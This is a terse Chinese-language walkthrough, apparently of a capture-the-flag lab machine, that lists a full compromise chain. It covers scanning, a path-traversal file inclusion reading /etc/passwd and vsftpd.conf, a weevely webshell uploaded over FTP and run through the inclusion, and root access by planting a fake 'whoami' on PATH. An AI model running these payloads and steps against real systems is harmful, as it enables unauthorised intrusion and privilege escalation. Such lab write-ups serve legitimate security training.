知识点
FTP webshell写入
环境变量写入【popen()的使用】
主机发现
netdiscover
端口扫描
nmap -A -T5 192.168.80.39 -oA nmap/nmap
WEB
- 信息收集
gobuster dir -u http://192.168.80.39 -w /usr/share/wordlists/dirb/big.txt -t50 -q
访问站点
192.168.80.39/robots.txt
提示说不是搜索引擎
更改User-Agent获取信息
- 文件包含漏洞
http://192.168.80.39/secret_information/?lang=../../../../../etc/passwd
- 获取FTP写入文件保存位置
http://192.168.80.39/secret_information/?lang=../../../../../etc/vsftpd.conf
- FTP写入文件
**生成webshell**
weevely generate 123 sh.php
**写入webshell**
ftp 192.168.80.39
cd pub
put sh.php
获取shell
weevely http://192.168.80.39/secret_information/\?lang\=/var/ftp/pub/sh.php 123
提权
cat /home/tom/rootshell.c
通过代码可以知道,通过popen执行whoami命令来判断当前用户
由于popen()会继承环境变量,所以添加环境变量即可
cd /tmp
echo "printf "tom"" > whoami
chmod +x whoami
export PATH=/tmp:$PATH
cd /home/tom
./rootshell
END